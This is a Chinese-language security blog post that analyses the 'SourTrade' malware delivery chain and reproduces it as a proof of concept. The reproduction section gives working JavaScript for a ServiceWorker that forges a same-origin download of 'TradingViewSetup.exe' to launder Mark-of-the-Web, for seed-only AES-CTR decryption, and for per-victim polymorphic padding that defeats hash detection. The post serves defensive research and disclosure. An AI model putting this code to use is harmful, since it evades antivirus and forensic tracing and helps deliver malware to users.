这条链也没用上什么漏洞和比较高深的技术,只是把投递这个动作从运输成品改成了运输图纸,恶意软件投递的是网络上存在一个完整的坏文件,所有检测手段像哈希黑名单/流量特征/沙箱下载分析都建立在能拿到这个文件的前提上。
SourTrade落地页只下发一份config组装说明书,包含随机AES-CTR种子、尺寸、字节配方,浏览器拿着说明书去第二域名拉一份干净的Bun官方运行时,再由页面内嵌字符串现造的 SharedWorker 在内存里完成解密和拼接,最后ServiceWorker伪造一个同源下载响应,让浏览器把exe写进下载目录。
整条链过网的只有两样东西,一份长得像普通配置的JSON,和一个完全合法的解释器,恶意性只存在于组装顺序里,这就是为什么杀软ban不掉它:哈希检测死于逐人多态,流量检测死于没有恶意流量,静态扫描死于语言壁垒(因为恶意逻辑是.bun节里的JSC字节码,特征库读不懂这种格式),溯源死于MotW 漂白。
它也是秽土转生的,之前做过假的Premium集群,投递JSCEAL/WeevilProxy,直接依赖GitHub Pages托管的StreamSaver.js实现落盘,MotW里会留下第三方库的痕迹;本文的新变种把它改写为自托管同源ServiceWorker。
refer
https://blog.confiant.com/p/sourtrade-browser-assembled-malware
https://www.bitdefender.com/en-us/blog/labs
https://bun.sh/docs/bundler/executables
https://github.com/jimmywarting/StreamSaver.js
攻击链
引如流


受害者在正常网站上看到一条展示广告:”安装Luno领50XRP”,点击后到达落地页,但到达之前落地页上的cloaking kit先对访客做指纹审查,会看看你的IP地理位置与ISP类型、headless、webdriver、来源链路、行为特征;过审查的看到高仿下载页,沙箱爬虫看到空白页或一个虚构的官网。
ServiceWorker
ServiceWorker是浏览器提供的一种常驻后台脚本,它不依附于任何一个页面,页面关了它还能活着/能后台运行/能被浏览器随时唤醒,它设计的初衷是做PWA的离线缓存,网页第一次访问时把资源存下来,下次没网也能打开,也能做消息推送和后台同步。
但是它可以拦截这个网站发出的所有网络请求,并且可以自己伪造响应。正常情况下页面请求一个URL,是浏览器去网络上拿数据;有了ServiceWorker,请求先经过它,可以把请求放行、改道,甚至根本不碰网络,直接在内存里造一份假响应还给浏览器,而浏览器完全无法区分这份响应是来自网络还是来自ServiceWorker之手。
SourTrade就是让ServiceWorker伪装成服务器,把一个内存里拼好的文件当成下载响应交给浏览器。
综上,通过筛选的受害者页面会静默完成两件事:注册一个 ServiceWorker并保持定期心跳防休眠,同时把一段以字符串形式内嵌在页面JS里的代码,用URL.createObjectURL(new Blob([…])) 现场捏成一个 SharedWorker。
上面说了,ServiceWorkers是收发室,能拦截同源网络请求并伪造响应,这是后面假下载的能力来源。解密和拼字节是重活,放独立线程里干页面不卡,装配用的是Blob内联创建,所以网络日志里没有加载它的请求,磁盘上没有它的文件,
config
装配向同源服务器请求/config,拿到的不是一份JSON组装说明书,16字节随机AES-CTR种子/明文尺寸/template 字节配方(恶意代码就在这里)、干净运行时的下载地址。
这样一来密钥不过网,config里只有种子,密钥流由客户端自带实现现算,截获传输内容也无法直接解密,并且每个受害者种子不同/尺寸不同已经做到了每人一个唯一哈希,以及恶意字节以数据形态运输,恶意代码在服务器上是配方库里的base64数据段,混在JSON里下发任何内容扫描都只会看到”一份配置”。
如果想在这里抓它只能靠一个下载页在点击后立刻请求一个config类JSON,靠不了内容
内存里的装配
装配按说明书里的地址,用fetch() 从第二域名拉回一个干净的Bun官方运行时,gzip压缩传输,浏览器端DecompressionStream解开;然后用种子现算AES-CTR密钥流,按template配方在内存里把字节拼成文件头+ .bun节+随机填充。
↑会让零件干净,Bun是合法JS解释器,bun build –compile官方机制就是把JS编译成字节码嵌进解释器生成单文件程序,攻击者只是往.bun节里塞了自己的代码,恶意性是数据而非程序。
MotW漂白
虽然大家都知道,但是还是稍微提一下MotW是什么(
Mark of the Web是Windows给来自互联网的文件打的一个戳,浏览器下载文件时会在文件里写入一条Zone.Identifier的附加ADS,记录这个文件从哪个URL下载的/属于哪个安全区域。
这个戳决定了待遇,ZoneId=3(互联网区域)的文件,双击时SmartScreen会弹声誉检查,Office文档会默认禁宏=系统对这份文件先怀疑,以及事件响应时,HostUrl就是蓝队回答这文件从哪来的第一证据。MotW因此同时是检测面和取证面,对红队来说它是投递链上最难洗掉的一块痕迹,传统手法像域名轮换和URL跳转都只能更换戳上的名字,无法让戳说谎。
浏览器盖这个戳时遵循一条非常机械的规则:只记录下载导航指向的那个URL,完全不追踪字节的真实来源。,关键区分在于浏览器的两类网络活动:fetch()/XHR这类后台数据请求,字节进了页面内存不属于下载,不会被盖章。
而地址栏跳转/链接点击/iframe导航这类导航行为,一旦返回一个attachment响应,浏览器就认定发生了一次下载,戳上刻的是这次导航的URL,MotW记录的是浏览器向哪个地址发起了下载这个动作,但是字节在内存里绕了多少道弯,戳是不知道的。
SourTrade的漂白就是用↑的规则。
- 第一步,ServiceWorker 注册时就位,变成网站的”自家服务器,它能拦截同源请求并用内存数据伪造响应。
- 第二步,装配工拼好的exe字节,通过MessageChannel分块流入ServiceWorker,这些字节的来源域名B是 fetch() 拉来的,全程只是数据请求没有留下任何下载标记。
- 第三步,页面构造一个同源的虚拟URL,让隐藏iframe导航过去。
- 第四步,ServiceWorker拦截这次导航把流入的字节包成流式attachment响应,浏览器盖章来源=诱饵域名 A。
都写到这里了顺便科普一下原型,是开源库StreamSaver.js,可以让网页能把大文件流式地保存到用户硬盘,不需要先把整个文件塞进内存,也不需要服务器配合。
传统网页下载大文件要么服务器把文件推给你,要么前端用Blob在内存里拼好整个文件再触发下载,但是文件一大浏览器内存就崩。StreamSaver.js的解法就是借力ServiceWorker,它注册一个ServiceWorker让页面把数据一小块一小块地通过消息通道递给ServiceWorker;同时制造一个指向虚拟URL的下载导航,ServiceWorker拦截后把这些陆续到达的小块包装成一条流以附件形式回给浏览器。
效果就是文件一边生成一边落盘,内存占用几乎为零,浏览器看到的和一次普通下载是一样的。
const streams = new Map();
self.addEventListener('message', (e) => {
if (e.data.action !== 'open') return;
const port = e.ports[0];
const entry = { controller: null, done: false };
streams.set(e.data.url, entry);
port.onmessage = ({ data }) => {
if (data.action === 'write') entry.controller.enqueue(data.chunk);
if (data.action === 'close') { entry.controller.close(); streams.delete(e.data.url); }
};
});
self.addEventListener('fetch', (e) => {
const entry = streams.get(e.request.url);
if (!entry) return; // 不是本机制的请求,放行
// 拦截下载导航,用内存字节伪造"服务器响应"
e.respondWith(new Response(
new ReadableStream({ start(c) { entry.controller = c; } }),
{ headers: {
'Content-Type': 'application/octet-stream',
'Content-Disposition': 'attachment; filename="TradingViewSetup.exe"'
} }
));
});
const dlUrl = `${location.origin}/sw-save/${randomToken()}`;
sw.postMessage({ action: 'open', url: dlUrl }, [channel.port2]);
const f = document.createElement('iframe');
f.style.display = 'none';
f.src = dlUrl;
document.body.appendChild(f);
SmartScreen的声誉判断是基于戳上的域名做出的,诱饵域名A是攻击者精心养过的投放域,取证面上事后分析受害机器,HostUrl里只有域名 A,那个真正提供exe主体的域名B在文件的出生证明上彻底消失,想找到 B就必须翻全量网络日志去找那次fetch()。
复现
https://github.com/DemondeLap1ace/AccompanyingPoC/tree/main/SourTrade ↑本地Poc在这里
做poc的txt文档里面是【確か……本棚の裏に猫イラズがあったような。】出自帕秋莉在火炉の鼠的台词(


整个流程分成两个时区,打开页面时只跑预备,点击后启动主流程。

预备动作是注册ServiceWorker并让它立即接管页面,点击后先是本地生成一份模拟的 /config,随机seed、明文尺寸、密文、配方字节、一次性落盘 URL;然后用页面内嵌的字符串现场捏一个Blob SharedWorker。
接下来是页面先把落盘的URL登记给收发室,然后停下来等回执,确认通道建好了就隐藏iframe去导航,最后是装配把拼好的字节分块递给收发室,收发室把它们包成一条流,以附件的身份回给那次导航,浏览器的下载管理器接管,写盘结束。
seed-only
让K3写出来的最初版本的config里直接放了完整的AES和IV,用WebCrypto解密,但是和真实样本不一样,真实样本的config只有16字节seed,密钥不过网,客户端用自带的AES-CTR实现现算密钥流。 改成seed-only后就对齐了chain,服务器和装配共享的只有seed,两端各自现算密钥流,XOR即加解密,每次点击seed重新随机,因为密文每次不同所以传输层天然随机化。
stage2
function stage2_fetchConfig() {
const seed = crypto.getRandomValues(new Uint8Array(16));
const plaintext = new TextEncoder().encode('');
const ciphertext = AesCtr.xor(seed, plaintext);
const cfg = {
seed: u8toB64(seed),
size: plaintext.length,
payload: u8toB64(ciphertext),
template: u8toB64(new Uint8Array([0xEF, 0xBB, 0xBF])),
standaloneUrl: location.origin + '/__dl/' + Math.random().toString(36).slice(2)
};
return cfg;
}
stage3
var plain = AesCtr.xor(b64toU8(d.seed), b64toU8(d.payload));
// 传输的是种子,密钥流两端各自现算,算法即约定
AES-128-CTR
官方报告里面说了客户端内嵌了自己的AES-CTR实现,用WebCrypto等于回避了攻击者为什么不信任系统 API这个值得思考的问题。Blob worker里用importScripts加载同源的aes-ctr.js,页面端用
验证正确性:FIPS-197官方测试向量+与PyCryptodome的AES-CTR做100字节随机对拍+加解密往返验证,三项全过才敢用。
function keyExpand(key) {
var w = new Uint8Array(176);
w.set(key);
var i = 16, r = 0, t = new Uint8Array(4);
while (i < 176) {
t[0]=w[i-4]; t[1]=w[i-3]; t[2]=w[i-2]; t[3]=w[i-1];
if (i % 16 === 0) { // 每 16 字节: RotWord+SubWord+RCON
var tmp = t[0];
t[0] = SBOX[t[1]] ^ RCON[r]; t[1] = SBOX[t[2]]; t[2] = SBOX[t[3]]; t[3] = SBOX[tmp];
r++;
}
for (var j = 0; j < 4; j++) { w[i] = w[i-16] ^ t[j]; i++; }
}
return w;
}
// CTR 模式:seed 作密钥,计数器 128 位大端从 0 自增
// 加密 = 解密 = keystream XOR data —— 一个函数两头用
function xor(seed, data) {
if (seed.length !== 16) throw new Error('seed 必须为 16 字节(AES-128)');
var w = keyExpand(seed);
var out = new Uint8Array(data.length);
var counter = new Uint8Array(16);
for (var off = 0; off < data.length; off += 16) {
var ks = encryptBlock(counter, w);
var n = Math.min(16, data.length - off);
for (var i = 0; i < n; i++) out[off+i] = data[off+i] ^ ks[i];
for (var j = 15; j >= 0; j--) { if (++counter[j] !== 0) break; }
}
return out;
}
encryptBlock内部是标准AES 轮 全部用Uint8Array位运算完成,无任何外部依赖。
多态的正确位置
这是最终版相对上一版的升级,K3写的第一版的随机性只活在传输层,seed随机,密文随机,但是解密后明文恒定就导致每次落盘的文件字节完全相同。
人工修了一下,装配handle函数的完整流程应该是解密→校验→派生填充→三段拼接→流式回传
最后的结果是连点三次按钮 三份文件总长不同 SHA256全不同,前面的核心内容逐字节相同。
var handle = function(ev) {
var d = ev.data; // d = config: { seed, size, payload, template, standaloneUrl }
var plain = AesCtr.xor(b64toU8(d.seed), b64toU8(d.payload));
var tpl = b64toU8(d.template);
if (d.size !== undefined && plain.length !== d.size)
throw new Error(' ' + plain.length);
var seedBytes = b64toU8(d.seed);
var fillerLen = 16 + (seedBytes[0] % 64);
var filler = AesCtr.xor(seedBytes, new Uint8Array(fillerLen));
var out = new Uint8Array(tpl.length + plain.length + fillerLen);
out.set(tpl, 0);
out.set(plain, tpl.length);
out.set(filler, tpl.length + plain.length);
var CHUNK = 4096;
for (var i = 0; i < out.length; i += CHUNK)
ev.target.postMessage({ action: 'write', data: out.slice(i, i + CHUNK) });
ev.target.postMessage({ action: 'done', size: out.length,
core: tpl.length + plain.length, filler: fillerLen });
};